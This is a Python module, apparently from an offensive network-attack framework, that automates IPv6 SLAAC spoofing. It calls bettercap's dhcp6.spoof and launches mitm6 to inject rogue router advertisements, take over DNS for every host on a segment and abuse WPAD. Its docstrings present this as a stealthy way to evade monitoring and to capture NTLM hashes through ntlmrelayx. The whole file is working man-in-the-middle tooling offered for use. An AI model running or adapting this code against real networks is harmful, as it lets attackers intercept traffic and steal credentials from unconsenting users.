#!/usr/bin/env python3 """IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6. Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server. Combines two approaches: 1. bettercap dhcp6.spoof: Router Advertisement injection 2. mitm6: Targeted WPAD/DNS takeover via IPv6 This is significantly stealthier than ARP spoofing — most networks have IPv6 enabled but unmonitored, and DAI does not cover IPv6. """ import logging import os import subprocess import threading import time from typing import Optional from modules.base import BaseModule logger = logging.getLogger("bb.active.ipv6_slaac") class IPv6SLAAC(BaseModule): """IPv6 SLAAC spoofing via bettercap + mitm6. Dependencies: - bettercap_mgr must be running (for dhcp6.spoof) - mitm6 must be installed (pip install mitm6) Configuration: target_domain: Domain to target with mitm6 WPAD abuse mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6) interface: Network interface (default: eth0) """ name = "ipv6_slaac" module_type = "active" priority = 200 requires_root = True dependencies = ["bettercap_mgr"] def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._bettercap_mgr = None self._mitm6_proc: Optional[subprocess.Popen] = None self._mitm6_thread: Optional[threading.Thread] = None self._slaac_active = False self._mitm6_active = False self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6") self._iface = config.get("interface", "eth0") self._target_domain: Optional[str] = None # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return self._bettercap_mgr = self.config.get("bettercap_mgr") if not self._bettercap_mgr: logger.error("IPv6SLAAC requires bettercap_mgr reference in config") return self._running = True self._pid = os.getpid() self._start_time = time.time() self.state.set_module_status(self.name, "running", pid=self._pid) logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)") def stop(self) -> None: if not self._running: return self.stop_all() self._running = False self.state.set_module_status(self.name, "stopped") logger.info("IPv6SLAAC module stopped") def status(self) -> dict: mitm6_alive = ( self._mitm6_proc is not None and self._mitm6_proc.poll() is None ) return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "slaac_active": self._slaac_active, "mitm6_active": self._mitm6_active and mitm6_alive, "target_domain": self._target_domain, "interface": self._iface, } def configure(self, config: dict) -> None: self.config.update(config) if "interface" in config: self._iface = config["interface"] if "mitm6_binary" in config: self._mitm6_binary = config["mitm6_binary"] # ------------------------------------------------------------------ # Public API # ------------------------------------------------------------------ def start_slaac(self) -> bool: """Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof. Injects Router Advertisements to become the IPv6 DNS server for all hosts on the segment. Returns: True if SLAAC spoofing was enabled. """ if not self._running or not self._bettercap_mgr: logger.error("IPv6SLAAC not started") return False try: self._bettercap_mgr.run_command("dhcp6.spoof on") self._slaac_active = True self.state.set(self.name, "slaac_active", "true") logger.info("IPv6 SLAAC spoofing enabled via bettercap") return True except Exception: logger.exception("Failed to enable SLAAC spoofing") return False def start_mitm6(self, domain: str = None) -> bool: """Start mitm6 for WPAD abuse and DNS takeover via IPv6. mitm6 sends RA messages advertising itself as the IPv6 DNS server, then responds to WPAD requests to redirect proxy configuration. Effective for NTLM hash capture when combined with ntlmrelayx. Args: domain: Target domain for WPAD abuse (e.g., "corp.local"). Returns: True if mitm6 was started. """ if not self._running: logger.error("IPv6SLAAC not started") return False if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None: logger.warning("mitm6 already running") return True self._target_domain = domain or self.config.get("target_domain", "") cmd = [self._mitm6_binary, "-i", self._iface] if self._target_domain: cmd.extend(["-d", self._target_domain]) try: self._mitm6_proc = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) time.sleep(2) if self._mitm6_proc.poll() is not None: stderr = self._mitm6_proc.stderr.read().decode(errors="replace") logger.error("mitm6 failed to start: %s", stderr) return False self._mitm6_active = True # Start output monitoring thread self._mitm6_thread = threading.Thread( target=self._monitor_mitm6, daemon=True, name="bb-mitm6-monitor" ) self._mitm6_thread.start() self.state.set(self.name, "mitm6_active", "true") logger.info( "mitm6 started (pid=%d, domain=%s)", self._mitm6_proc.pid, self._target_domain or "all", ) return True except FileNotFoundError: logger.error("mitm6 not found at %s", self._mitm6_binary) return False except Exception: logger.exception("Failed to start mitm6") return False def stop_all(self) -> bool: """Stop all IPv6 SLAAC and mitm6 operations. Returns: True if all components were stopped. """ success = True # Stop SLAAC spoofing if self._slaac_active and self._bettercap_mgr: try: self._bettercap_mgr.run_command("dhcp6.spoof off") self._slaac_active = False self.state.set(self.name, "slaac_active", "false") logger.info("SLAAC spoofing disabled") except Exception: logger.exception("Failed to disable SLAAC spoofing") success = False # Stop mitm6 if self._mitm6_proc and self._mitm6_proc.poll() is None: try: self._mitm6_proc.terminate() self._mitm6_proc.wait(timeout=5) except subprocess.TimeoutExpired: self._mitm6_proc.kill() try: self._mitm6_proc.wait(timeout=2) except Exception: pass except Exception: logger.exception("Failed to stop mitm6") success = False self._mitm6_proc = None self._mitm6_active = False self.state.set(self.name, "mitm6_active", "false") return success # ------------------------------------------------------------------ # mitm6 output monitoring # ------------------------------------------------------------------ def _monitor_mitm6(self) -> None: """Monitor mitm6 stderr for authentication events.""" if not self._mitm6_proc: return try: for line in iter(self._mitm6_proc.stderr.readline, b""): if not self._running: break decoded = line.decode("utf-8", errors="replace").strip() if not decoded: continue # mitm6 logs DNS queries and WPAD requests if "Sent spoofed" in decoded or "IPv6 address" in decoded: logger.debug("mitm6: %s", decoded) # Check for process exit if self._mitm6_proc.poll() is not None: break except Exception: pass